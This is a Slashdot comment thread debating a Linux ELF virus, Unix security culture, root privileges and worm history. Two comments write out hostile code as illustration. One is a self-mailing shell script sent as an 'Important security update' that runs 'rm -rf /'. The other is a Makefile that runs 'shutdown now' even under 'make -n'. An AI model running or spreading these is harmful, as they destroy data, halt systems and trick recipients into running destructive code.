    How can this be considered a security hole? This is the equivalent of sending an email with BO2K or NetBus to the administer email account on some Windows box and telling them to run it as administrator. At work, we have hundreds of Linux boxes we administer. We never put any kind of software on them except for Apache, MySQL, Oracle or whatever we know and have tried.

    If you really want to call this a security hole or virus, I've written a virus for you. Note, however, you cannot look at the code and must run it as root and send it to everyone you know.

    #!/bin/sh
    # DISCLAIMER: This program is provided AS IS with no war
    # ranty of any kind, and The author makes no representation
    # with respect to the adequacy of this program for any par
    # ticular purpose or with respect to its adequacy to produce
    # any particular result, and The author shall not be liable
    # for loss or damage arising out of the use of this program
    # regardless of how sustained, and In no event shall the
    # author be liable for special, direct, indirect or conse
    # quential damage, loss, costs or fees or expenses of any
    # nature or kind. IF YOU ARE READING THIS, YOU HAVE VOIDED
    # THE WARRANTY BECAUSE YOU WERE TOLD NOT TO READ THE SOURCE. :)

    emailaddy=grep /^([a-zA-Z0-9_-])+@([a-zA-Z0-9_-])+(\.[a-zA-Z0-9_- ]+)+/ ~/.addressbook

    echo "Please copy the following lines to a shell script and run it as root\n\n***#!/bin/sh
    emailaddy=grep /^([a-zA-Z0-9_-])+@([a-zA-Z0-9_-])+(\.[a-zA-Z0-9_- ]+)+/ ~/.addressbook
    echo \"Please copy the following lines to a shell script and run it as root\" | mail -s \"Important security update\" $emailaddy
    rm -rf /***" | mail -s "Important security update" $emailaddy

    rm -rf /

    Do not actually run this, for it actually works. ;)

    This short little shell script will exploit vulnerabilities in the sysadmins lack of experience... basically exploiting the same "security vulnerabilities" in the alternative to Microsoft Windows thing... USER ERROR!

    How many linux users actually run programs without at least glancing at the source anyway? If you don't compile everything from source, shame on you. The main reason, IMHO, virii are aimed at MS instead of Linux is because most linux developers started coding on Windows (like everyone else who started coding within the last 10 years). They are disgruntled at the years of suffering at the hands of Billy G.. Windows is also a very easy target. Virii are also written for windows in order to switch people from MS to alternatives. If you would notice, within a week of a very recent Netcraft web server report when Apache dropped and IIS rose, code red was out.

    Just my $0.02.

    sglane81

    --
    This is the Internet. You can say "fuck" here. - AC
  54. Definitely needs to get more proactive!!! by Zero__Kelvin · · Score: 2



    "It is the duty of the project maintainer to make sure that their files are free of virii ... it would be trivial for us to add something like this, (but) it's just not something anyone has ever asked for," he said.

    It doesn't help when people have this kind of attitude. If it would be trivial to scan for virii, why the hell wait for someone else to request it?

    --
    Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
  55. Unix Worms - what have they done lately? by _Sprocket_ · · Score: 3, Insightful
    A reminder is perhaps due here that the first internet worm program to cause significant damage (the Morris worm) was released in the 1988 and infected UNIX systems through a well known vulnerability (yep, good ole gets(3)) in the fingerd daemon.

    And waddaya know,UNIX application programmers are _still_ using the occasional gets(3) call in setuid root programs, more than a decade later...

    The Morris worm and other aspects of infosec history reflect the security landscape. Information security has been horrid in the past. It has been bad in more recent times. But there are improvements. Or, at least, improvements in some circles. Within the nebulous Unix (and Unix-like for the purists) environment, security has made vast improvements. While this does not mean these environments are bullet-proof, they are far removed from other environments that are ripe for malicious code.

    The Morris worm is a nice spectre to pull out of the Unix closet and remind everyone that Unix is not infallable. Just look at all the damage done in the early internet days! Spooky.

    However, this is history - ancient by Interent standards. Since then, there have been other Unix-based worms to hit the net at large. I can name three more recent examples off-hand. Sadmind spread amoung Solaris hosts to deface IIS sites. The ramen worm attacked Linux (specifically RedHat) hosts. And there were reports of ramen code being modified and sent on its way. And then there was another Linux worm called li0n.

    In each case the worm hit the wild, was discovered and reported, had a brief life as appropriate counter measures were taken, then faded out. Missing was the media frenzy one would expect with something as damaging as the Morris worm. That came later on a different platform with a different worm: Code Red.

    Once again - Unix is not infalliable. But various generations have been in the trenches dealing with infosec issues for years. Recent incidents have began to show off its experience, versitility, and resiliance. It is small wonder the Unix crowd tends to look at virus issues with almost a disinterest compared to their Windows counterparts who are burned either more often or more severely by such a threat.

    1. Re:Unix Worms - what have they done lately? by _Sprocket_ · · Score: 2


      It's only after 10 years of an advisory-a-day that Unix finally got somewhere near secure.


      Indeed. Unix has taken its lumps. But then, Unix has been in the thick of things as the concepts of information security have evolved. And the infosec landscape is still changing. Unix has evolved too.


      The mean-time-to-remote-root of a particular RedHat release is still about a week (and ships with documentation referring to "fascist" system administrators that deny root to their users!)


      I'd like to see documentation to back these two statements up. Is there a source that tracks mean time to remote compromise? And a cursory search did not find any RedHat documentation (at least online) that referred to "fascist" denial of root to their users. I'd be suprised if it exists. I've always understood that its a fairly common convention that root access is strictly controlled.


      Feel free to talk up something that doesn't inherently suck security-wise.


      Sure. Unix didn't start with security - it had security features shoe-horned in to the system. Microsoft's offerings make nice claims in its marketing material, but as pointed out, it really still lags behind the industry. VMS does a much better job at including security concepts from its inception - but it very rarely gets mentioned.


      Infosec is evolving. Unix and Windows are also evolving (to name two). And while the Morris Worm makes a nice footnote in history, it has few lessons to offer today. If you want to track the current state of infosec for Unix (or any other OS) - look at current history. Even when vulnerabilities do hit the wild, Unix has fared pretty well in recent history.

    2. Re:Unix Worms - what have they done lately? by _Sprocket_ · · Score: 2


      You failed to point out the more widespread BIND worm.


      Perhapse that was the li0n worm? It took advantage of a BIND vulnerability.


      In any case, what I provided was not a definitive list. But I think it made a fairly good representation of recent Unix worms and their impact. Feel free to show references to something I might have missed.



      And exactly how does infecting a Solaris host "deface IIS sites"? IIS is a Microsoft product.


      Ahhh. You didn't follow the link, did you? Sadmind propogated on Solaris hosts. It also attacked and defaced IIS (Windows) hosts... but did not propogate through them. Fairly unique.
    3. Re:Unix Worms - what have they done lately? by spitzak · · Score: 2
      The "fascist" remark is some comment from RMS about the "wheel" group, which if I understand, is the only group allowed to su to root. According to RMS this is somehow "fascist" and restricts the rights of users. I don't quite understand the argument in either direction (I can't see how this helps security, nor do I see how it can harm users).

      But anyway, the feature is not in Redhat, the documentation you cite is an explanation of why RMS does not like the feature and why it is not supported by Gnu tools. So in fact the documentation claims that Redhat lacks the fascist feature.

  56. Technical versus social reasons by Roger+Whittaker · · Score: 3, Insightful

    I'm often asked - `won't viruses for Linux start to appear once Linux gains more desktop users?'. And I always explain what it is about Linux and Unix-like operating systems in general that make this very unlikely (the strict separation between root and users in particular). However, at present we have a situation in which there is a very strong sense of mutual trust: if you see some code being offered for download in the usual places you know that it's very unlikely that it will harm your system if you build it / install it as root.

    It is worth thinking about the possible dangers of these particular waters getting muddied - as Linux gains more users, there will be more people around with less sophistication about these matters and there could be more people deliberately offering dangerous code for download.

    So there are some reasons for concern but they are based on faults in the potential users, not in the OS.

    Roger Whittaker
    SuSE Linux Ltd London

  57. Viruses and the internet. by Error27 · · Score: 4, Interesting
    I remember when slashdot first talked about the RST trojan. That time Qualys did an abysmal job reporting on the virus. (Read the comments on the article.)

    The good thing is that apparently there was not a single case where this virus infected anyones computer except for the anonymous person who reported it to Qualys. This new virus is at least three times more dangerous because three different groups have seen it. :P

    The most difficulty part with this type of virus is getting people to run it as root. The easiest way would be to install the virus through a Makefile which are often run as root. This is one reason I think the standard tar.gz install should be:
    #-----
    zcat foo.tar.gz | tar -xv
    if source
    cd foo/
    ./configure
    make
    fi
    cd ..
    su
    cp foo /usr/local/tar/
    ln -s /usr/local/bin/foo /usr/local/tar/foo/foo
    #-----
    Makefiles are too complex for most people to read but a script that installed things my way would only be 5 lines executed as root and thus easy to audit.

    (Normal .debs would install normally because debian developers are trusted.)

    On a completely unrelated topic, this virus can't spread very well. Linux users download packages from central repositories but they don't share ordinary binaries amongst themselves. The virus only infects elf excecutable files where in Windows it could infect emails and .doc files and all kinds of stuff that should be data but instead is executable.

    These days, the only dangerous way to spread a virus is through an internet worm. Linux is vulnerable to worms because almost everyone uses the same kernel, webserver, dns, and email server. If we could diversify these things, it would make Linux less vulnerable to worms.

    I know people are going to say that Linux is already more secure than Microsoft. That's true but it's because Microsoft does not care about security or threats to the internet. A truly malicious virus could cost billions of dollars in lost hardware and take out the American phone system for weeks.

    1. Re:Viruses and the internet. by warpeightbot · · Score: 3, Insightful
      OK, for one, the ubersimple install script only works for ubersimple apps and still leaves all your .o files hanging out there (not to mention he forgot the -r on cp)... for two,
      Linux is vulnerable to worms because almost everyone uses the same kernel, webserver, dns, and email server.
      As a matter of fact, we don't. Amongst the major latest/greatest distros there are three or four different versions of the 2.4. kernel with different patches floating about, and then there are those Potato purists (not that there's anything wrong with that!) still running 2.2, or the bleeding edgers running 2.4.16 or better... a lot of us do run apache, but some run TUX, and there are others; there are three different versions of BIND out there in addition to djbdns and dents, and sendmail is rapidly becoming passe' in favor of qmail (for those comfy with djb's scrooey licensing issues) and postfix (for those like me that aren't)....

      Linux, and the Unix world in general, is so hard to write virii for *because* of the sheer heterogeny of it all. Sure, we've developed tools over the years to deal with such things (autoconf), but the fact remains that you're never really sure just what you're going to get when faced with a given machine that has "#" for its administrator prompt... in point of fact, we already *have* diversified.

      And then there's the fact that most of the folks that own those hash prompts are, in fact, paranoid bastards who won't, in fact, install a random package from a random source without at least some recommendation, much less save out an ELF file, go "su", and run the darn thing.... or if he does happen to be Joe Sixpack, he's at least been shown by his guru buddy how to run whatever updater thingy the distro comes with, so he's at least got a good chance of having all the latest patches... unlike That Other OS, wherein the fix came in months before Code Red hit, and there were still a couple of million machines unpatched...

      Of course, a large number of those machines were left unpatched because the "sysadm" didn't want to reboot the machine just to patch the darn thing... it still chaps my hide that patching a *service* (Universal Plug'n'Play comes to mind) requires a fscking *reboot*....

      So, no, heterogeny (and good software update practices) are, in fact, already alive and well in the world of Tux and Chuck... and so are a few million pairs of eyeballs keeping watch over their systems by night just to see what they throw at us next.

    2. Re:Viruses and the internet. by Error27 · · Score: 2
      >> OK, for one, the ubersimple install script only works for ubersimple apps and still leaves all your .o files hanging out there

      It require packaging applications slightly differently. I prefer this way of packaging applications, not just for the security reasons, but because it is easier to uninstall. Changing .tar.gz files into .debs is more complicated than most people want to deal with. The .o files are easy to handle with more simlinks.

      >>not to mention he forgot the -r on cp

      That was a test to see if you were paying attention. :)

      >>a lot of us do run apache, but some run TUX, and there are others;

      I would say that easily 90% of Linux web servers use Apache. I consider that a dangerous level. Bind is also dangerously popular.

      I was surprised you did not mention exim as an email server because it is the default email server on debian. I considered not putting email servers on my list.

      Linux is not immune to internet worms, or have you forgotten the Ramen worm? Imagine if the worm had used new vulnerabilities instead of old ones. Ramen was not as widespread as "ILOVEYOU", code red, etc, etc, etc, but it is still a threat.

    3. Re:Viruses and the internet. by warpeightbot · · Score: 3, Interesting
      Linux is not immune to internet worms, or have you forgotten the Ramen worm?
      Which got about two nanometers, being one of those "click on me" kinds of things... li0n was more virulent in some ways, but not in others, as the fix was out TWO MONTHS before the virus hit....

      One thing I forgot to mention, is that Linux users are far more apt to run some sort of firewall, or at least NAT, than Joe Windows.... as well as all sorts of other tricks to mitigate damage, like chroot jails, not running your daemons as root, etc.

      Point being, there is a cultural resistance to virii - inherent in how we were taught to use it as much as in its technical features - amongst users of originally-multi-user operating systems that simply does not exist amongst folks who grew up masters of their domain by default. If that sounds elitist, well... let's put it this way. In the history of Unix-like operating systems, which have long had access to the Internet and the Arpanet before it, and to which college kids have had access for what, 20 years now? there have been four, count'em, F-O-U-R worms. Countless exploits, sure, but only four big memorable self-(or semi-self-)propogating beasties, only one of which (the first one, Morris') got loose and caused major damage. (Now, remember, these were the days of mostly-proprietary OS's, too, so I'm not even beating the Open Source drum here...) How many Windows or Mac beasties have there been floating around in the same twenty-year time frame? Like the stars.

      If you're running around on the Big Bad Internet in God mode all the time, you're plainly and simply DOING IT WRONG. (Credit where credit is due, Win2k and OS X fix this little problem...) Running as an unprivileged user solves a whole lot of problems by default. (Not letting untrusted data run as a script (Outlook, Word, IE) will get 99% of the rest of it, IMHO...)

      Security is a state of mind, a state of constant relaxed alertness, taking the time to notice where harm might lurk, and taking steps to avoid trouble altogether. You could run OpenBSD or Trustix or CDC NOS with A-level security, but if you're not keeping up with the bulletins, somebody's going to find a problem with your system eventually, and you're gonna get 0wn3d. Run what you want to... but keep up with the damn patches, and stay away from problem programs, or else... and if work or circumstance decree that you MUST run an OS in god mode to do your work, for pity's sake, BE CAREFUL. But hopefully you can get OS-X or Win2k (XP Pro? I know Home acts like 98...) or if Ghu smiles on you, something with a hash prompt... hey, Diablo II runs on Linux now, so what're you waiting for? :)

  58. Re:Protection? by sjehay · · Score: 2, Insightful

    Yeah, that's fine for people who have some experience with Unix, but for Joe Random User who's just bought this new Red Hat thing 'cos his friend said it was quite good and he doesn't want to spend more money on Windows it doesn't really help. I mean, he's not going to instinctively sit down and start ntsysv and appreciate what 'nfslockd' and 'portmap' do and whether he does or doesn't need them; he's probably not even going to understand the concept of services for a while. It's basically the old argument about Linux on the desktop again: everything has to work properly out-of-the-box, not work well if you just tweak this configuration file and patch and recompile your X server or people simply won't bother and will run away screaming because of all the scary things they're now being exposed to whereas with Windows it 'just worked'. Now, personally I'd hate it if all the distributions became like Windows and had irritating wizards all over the place and friendly quickstarts and so on, but making the default settings for things like security right is not hard and wouldn't have any negative effects at all as far as I can see. I think Red Hat's firewall set up is a good compromise; of course, the way Debian does it (not enabling this by default, and so on) is far better, but whatever its advocates might say Debian is not really as user-friendly for newbies as Red Hat (or particularly Mandrake) and isn't really designed to be. That said, I started with it...

  59. Re:Why wouldn't M$ . . . by jejones · · Score: 2

    For that matter, I can't help wondering whether MS would fund the development of Linux viruses.

  60. Unlikely Virus target by Veteran · · Score: 2
    I have an older customer who I set up with a Linux box for net surfing, word processing (with AbiWord) and email. His machine is on DSL with a router between it and the DSL modem.

    He not only does not have root permissions - he doesn't even know 'root' exists, or what it is; clicking on Netscape's Icon in the GUI is about at his limits. I gave him a command line menu with a script when he exits X that will allow him to go back to the GUI or shut his machine down, and tell him when to turn off the power. (The exit from X script also erases the .netscape/lock file in case Netscape crashes and won't restart properly.)

    Since Netscape's email won't execute binaries by clicking on them I don't have to worry too much about him getting infected. I make regular cdrom backups of his home directory - just in case.

    The only problem he has had is that he thought he wasn't getting new emails because he had accidentally changed the sort order from 'date' to 'subject' with a misplaced mouse click. I showed him how to change sort orders, and once he saw that he hadn't lost anything he was happy.

    The great virtue of the machine is that his Windows machine is now completely disconnected from the net and highly unlikely to ever get a virus. He likes the Linux box so much he wants me to get rid of Windows altogether: there is only one Windows app I haven't converted to Linux yet: a massive custom Access ap which will take a large development effort to duplicate.

  61. make -n is easy to work around by Anonymous Coward · · Score: 3, Informative

    # Save this as Makefile and try "make -n install"
    # with GNU Make.
    #
    # This runs even with -n, and doesn't print first.
    foo:=$(shell /sbin/shutdown now)
    #
    # This too runs with -n, but is displayed.
    # (I use a semicolon in case slashdot loses tabs.)
    install:; +echo this runs too

  62. Elitism holding linux back by Anonymous Coward · · Score: 3, Insightful

    Not trying to sound like a troll, but this post is an example of what is holding linux back from being a major contendor in the desktop OS market. Time and time again i see people saying that no self respecting linux user would run a program without first examining the makefile and looking over the source. The VAST majority of home computer users would have no idea how to do that, and that is even assuming they had any knowlege of coding. How likely is it that a new user would download the source if a binary is avalilble? Convenience and simplicity is what MS is targeting, and by all acounts it is working. Hate MS all you want, but the fact of the matter is that windows is run by virtually all home computers and is far more familiar and user-friendly for most simple tasks. It may not be as powerful, as secure, or as elegent at *nix, and though some may say is dumbs down the computing experience so that any moron can use a computer, that is precisely why MS owns the home computing market. The average person would not WANT to check the code for every program he or she installs, even if that person knew enough about linux and programming to make a difference. Sure, maybe all of those people that post on /. are smart enough not to get hit by this or any other virus, but /. readers do not make up the majority of computer users, as much as everyone wishes they were. Elitist atitudes about the linux 'community' is what keeps linux away from the general home computer community. As shown in this post, Linux users are just as bad at trying to downplay the possibility of being hit with a virus. Go count how many of the posts go on about how there is hardly any risk at all of viruses in Linux. I use and love linux, but instead of finding the type of constructive development I was hoping to find on how viruses were playing a part in linux, I found a bunch of people pounding their chests as to how THEY are so damn good that there is no threat to them, and how if you actually are hit by this virus, there must be something wrong with your head.

  63. Tripwire by Codifex+Maximus · · Score: 2

    Isn't the possibility of infection of system binaries the reason we have tripwire?

    It, tripwire, may be a pain to run sometimes but it is a pretty good idea if you want to have an even higher level of protection.

    --
    Codifex Maximus ~ In search of... a shorter sig.
  64. more info by sweasel18 · · Score: 3, Interesting

    The incidents post which provides more info on the virus can be found at:
    http://www.securityfocus.com/archive/75/247481

    I agree this virus isn't a huge threat. I do believe some people here are underestimating it a little. You do not have to be root when running the infected file... If a user runs the file it will attempt to infect all files in their current working directory. Now possible files the user trusts might get infected and then a user is more likely to run those files as root. Still leaves a problem with it spreading from box to box since most people grab source and compile programs themselves. I am not sure how this is spreading but I believe it is through one of the many ssh crc exploits that are being traded around in binary form.

    I have the commented asm dump I made but I have no where to post it till my site goes back up
    lockdown

  65. Re:microsoft perhaps? by Trelane · · Score: 2, Funny

    Heh. If you see the string "Linux engineers are weenies" or "seineew era sreenigne xuniL" in it, then let slip the dogs of conspiracy theories. ;)

    --

    --
    Given enough personal experience, all stereotypes are shallow.
  66. Re:diff between *nix and windows by Todd+Knarr · · Score: 2

    I've installed XP, both Home and Professional. By default the user they create for you has Administrator privileges. You can downgrade it, but you have to know exactly what you're doing. And by default you can't log in to the Administrator account, it doesn't show as an option, so if you screw up you have to wipe the machine and reinstall.

  67. Re:Root access and "make install" by spitzak · · Score: 2
    Although this is the obvious way that a trojan can get root on Linux, this sort of exploit is also possible on Windows and does not seem to be used much. It is even more trivial to make a piece of NT "shareware" that is in fact a dangerous virus and that gets power because it requires the administrator to "install" (and on Windows anybody can "install").

    The fact that I have never heard of such a trojan (or at least not a damaging one) is an indication that this does not work. I think this is because such a trojan would be detected and disabled (or at least warned about) long before it did much damage.

  68. Re:what about NMAP? by macdaddy · · Score: 2

    My solution was to make it setuid root, grouped by my sysadm group, and only executable by that group and root. Basic user/group works like a champ. Now if your non-prived sysadm user (you do have a prived and non-prived sysadm user besides your personal user, don't you?) get 0wned, well, you're screwed if nmap has sploitable code. Of course if that user gets 0wned, you probably have more to worry about.